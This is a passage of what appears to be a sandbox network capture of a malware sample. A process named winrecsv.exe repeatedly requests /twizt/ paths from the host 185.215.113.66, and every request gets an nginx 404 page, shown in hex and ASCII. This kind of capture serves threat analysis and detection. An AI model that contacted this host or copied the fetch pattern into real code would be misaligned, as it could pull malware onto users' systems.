69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:31:57.197448969 CEST	1127	OUT	GET /twizt/3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:31:57.253489017 CEST	1128	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:31:57 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:31:58.258836985 CEST	1128	OUT	GET /twizt/4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:31:58.314960003 CEST	1129	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:31:58 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:31:59.323095083 CEST	1129	OUT	GET /twizt/5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:31:59.382657051 CEST	1130	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:31:59 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:00.581275940 CEST	1130	OUT	GET /twizt/6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:00.640603065 CEST	1131	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:00 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.7	49787	185.215.113.66	80	C:\Windows\winrecsv.exe

Timestamp	kBytes transferred	Direction	Data
Aug 15, 2022 18:32:05.406146049 CEST	1138	OUT	GET /twizt/2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:05.462749958 CEST	1139	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:05 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:06.478008986 CEST	1146	OUT	GET /twizt/3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:06.550353050 CEST	1147	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:06 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:07.556500912 CEST	1168	OUT	GET /twizt/4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:07.613881111 CEST	1169	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:07 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:08.618907928 CEST	3975	OUT	GET /twizt/5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:08.677377939 CEST	3976	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:08 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome 